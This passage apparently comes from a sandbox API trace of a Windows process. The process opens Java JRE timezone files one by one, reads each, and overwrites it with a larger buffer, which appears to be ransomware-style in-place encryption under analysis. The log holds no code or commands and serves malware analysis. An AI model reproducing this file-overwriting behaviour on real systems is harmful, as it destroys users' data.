(x86)\\Java\\jre7\\lib\\zi\\America\\Panama" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\panama"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0046.913] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.913] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x41 [0046.913] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.913] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.913] ReleaseMutex (hMutex=0x128) returned 1 [0046.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Panama", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0046.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Panama", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Panama", lpUsedDefaultChar=0x0) returned 6 [0046.913] ReadFile (in: hFile=0x1c4, lpBuffer=0x1eaa9f8, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaa9f8*, lpNumberOfBytesRead=0x354f2bc*=0x41, lpOverlapped=0x0) returned 1 [0046.914] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0046.914] WriteFile (in: hFile=0x1c4, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x354f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0046.914] CloseHandle (hObject=0x1c4) returned 1 [0046.914] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Recife" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\recife"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0046.915] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.915] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x179 [0046.915] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.915] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.915] ReleaseMutex (hMutex=0x128) returned 1 [0046.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Recife", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0046.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Recife", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Recife", lpUsedDefaultChar=0x0) returned 6 [0046.915] ReadFile (in: hFile=0x1c4, lpBuffer=0x1df3fd8, nNumberOfBytesToRead=0x179, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df3fd8*, lpNumberOfBytesRead=0x354f2bc*=0x179, lpOverlapped=0x0) returned 1 [0046.916] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0046.916] WriteFile (in: hFile=0x1c4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x701, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x701, lpOverlapped=0x0) returned 1 [0046.916] CloseHandle (hObject=0x1c4) returned 1 [0046.916] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Sitka" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\sitka"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0046.917] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.917] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x4c8 [0046.917] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.917] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.917] ReleaseMutex (hMutex=0x128) returned 1 [0046.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sitka", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0046.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sitka", cchWideChar=5, lpMultiByteStr=0x1e6aa2c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sitka", lpUsedDefaultChar=0x0) returned 5 [0046.917] ReadFile (in: hFile=0x1c4, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x4c8, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x354f2bc*=0x4c8, lpOverlapped=0x0) returned 1 [0046.933] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0046.933] WriteFile (in: hFile=0x1c4, lpBuffer=0x1de1de8*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de1de8*, lpNumberOfBytesWritten=0x354f2d0*=0xa50, lpOverlapped=0x0) returned 1 [0046.933] CloseHandle (hObject=0x1c4) returned 1 [0046.934] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Tijuana" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\tijuana"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0046.945] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.945] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x4fc [0046.945] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.945] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.945] ReleaseMutex (hMutex=0x128) returned 1 [0046.945] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tijuana", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0046.945] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tijuana", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Tijuana", lpUsedDefaultChar=0x0) returned 7 [0046.945] ReadFile (in: hFile=0x1a8, lpBuffer=0x1e17498, nNumberOfBytesToRead=0x4fc, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e17498*, lpNumberOfBytesRead=0x354f2bc*=0x4fc, lpOverlapped=0x0) returned 1 [0047.229] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0047.229] WriteFile (in: hFile=0x1a8, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0xa84, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x354f2d0*=0xa84, lpOverlapped=0x0) returned 1 [0047.229] CloseHandle (hObject=0x1a8) returned 1 [0047.229] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\DumontDUrville" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\dumontdurville"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0047.230] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.230] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x51 [0047.230] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.230] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.230] ReleaseMutex (hMutex=0x128) returned 1 [0047.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DumontDUrville", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0047.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DumontDUrville", cchWideChar=14, lpMultiByteStr=0x1e6316c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DumontDUrville", lpUsedDefaultChar=0x0) returned 14 [0047.230] ReadFile (in: hFile=0x1a8, lpBuffer=0x1e8f468, nNumberOfBytesToRead=0x51, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e8f468*, lpNumberOfBytesRead=0x354f2bc*=0x51, lpOverlapped=0x0) returned 1 [0047.231] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0047.231] WriteFile (in: hFile=0x1a8, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5d9, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x354f2d0*=0x5d9, lpOverlapped=0x0) returned 1 [0047.231] CloseHandle (hObject=0x1a8) returned 1 [0047.231] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Amman" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\amman"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0047.233] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.233] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x40c [0047.233] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.233] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.233] ReleaseMutex (hMutex=0x128) returned 1 [0047.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Amman", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0047.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Amman", cchWideChar=5, lpMultiByteStr=0x1e6aa2c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Amman", lpUsedDefaultChar=0x0) returned 5 [0047.234] ReadFile (in: hFile=0x1a8, lpBuffer=0x3a4a5a8, nNumberOfBytesToRead=0x40c, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x3a4a5a8*, lpNumberOfBytesRead=0x354f2bc*=0x40c, lpOverlapped=0x0) returned 1 [0047.247] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0047.247] WriteFile (in: hFile=0x1a8, lpBuffer=0x2806d18*, nNumberOfBytesToWrite=0x994, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2806d18*, lpNumberOfBytesWritten=0x354f2d0*=0x994, lpOverlapped=0x0) returned 1 [0047.247] CloseHandle (hObject=0x1a8) returned 1 [0047.247] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Bishkek" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\bishkek"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0047.254] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.254] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1e5 [0047.254] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.254] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.254] ReleaseMutex (hMutex=0x128) returned 1 [0047.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bishkek", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0047.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bishkek", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Bishkek", lpUsedDefaultChar=0x0) returned 7 [0047.254] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e4cf28, nNumberOfBytesToRead=0x1e5, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e4cf28*, lpNumberOfBytesRead=0x354f2bc*=0x1e5, lpOverlapped=0x0) returned 1 [0047.255] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0047.255] WriteFile (in: hFile=0x1cc, lpBuffer=0x2806d18*, nNumberOfBytesToWrite=0x76d, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2806d18*, lpNumberOfBytesWritten=0x354f2d0*=0x76d, lpOverlapped=0x0) returned 1 [0047.255] CloseHandle (hObject=0x1cc) returned 1 [0047.255] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Gaza" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\gaza"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0047.256] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.256] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x4d4 [0047.256] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.256] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.256] ReleaseMutex (hMutex=0x128) returned 1 [0047.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gaza", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0047.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gaza", cchWideChar=4, lpMultiByteStr=0x1e6aa2c, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gaza", lpUsedDefaultChar=0x0) returned 4 [0047.256] ReadFile (in: hFile=0x1cc, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x4d4, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x354f2bc*=0x4d4, lpOverlapped=0x0) returned 1 [0047.433] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0047.434] WriteFile (in: hFile=0x1cc, lpBuffer=0x3a4c6b8*, nNumberOfBytesToWrite=0xa5c, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x3a4c6b8*, lpNumberOfBytesWritten=0x354f2d0*=0xa5c, lpOverlapped=0x0) returned 1 [0047.434] CloseHandle (hObject=0x1cc) returned 1 [0047.434] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kabul" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\kabul"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0047.441] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.441] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x41 [0047.441] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.441] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.441] ReleaseMutex (hMutex=0x128) returned 1 [0047.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kabul", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0047.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kabul", cchWideChar=5, lpMultiByteStr=0x1e6aa2c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Kabul", lpUsedDefaultChar=0x0) returned 5 [0047.442] ReadFile (in: hFile=0x1ac, lpBuffer=0x1eaa9f8, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaa9f8*, lpNumberOfBytesRead=0x354f2bc*=0x41, lpOverlapped=0x0) returned 1 [0047.442] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0047.442] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x354f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0047.443] CloseHandle (hObject=0x1ac) returned 1 [0047.443] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kuwait" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\kuwait"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0047.443] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.443] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x41 [0047.443] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.443] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.443] ReleaseMutex (hMutex=0x128) returned 1 [0047.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kuwait", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0047.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kuwait", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Kuwait", lpUsedDefaultChar=0x0) returned 6 [0047.443] ReadFile (in: hFile=0x1ac, lpBuffer=0x1eaa9f8, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaa9f8*, lpNumberOfBytesRead=0x354f2bc*=0x41, lpOverlapped=0x0) returned 1 [0047.444] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0047.444] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x354f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0047.444] CloseHandle (hObject=0x1ac) returned 1 [0047.444] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Oral" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\oral"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0047.447] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.447] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1cd [0047.447] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.447] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.447] ReleaseMutex (hMutex=0x128) returned 1 [0047.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Oral", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0047.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Oral", cchWideChar=4, lpMultiByteStr=0x1e6aa2c, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Oral", lpUsedDefaultChar=0x0) returned 4 [0047.447] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d97918, nNumberOfBytesToRead=0x1cd, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d97918*, lpNumberOfBytesRead=0x354f2bc*=0x1cd, lpOverlapped=0x0) returned 1 [0047.448] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0047.448] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613698*, nNumberOfBytesToWrite=0x755, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613698*, lpNumberOfBytesWritten=0x354f2d0*=0x755, lpOverlapped=0x0) returned 1 [0047.448] CloseHandle (hObject=0x1ac) returned 1 [0047.448] 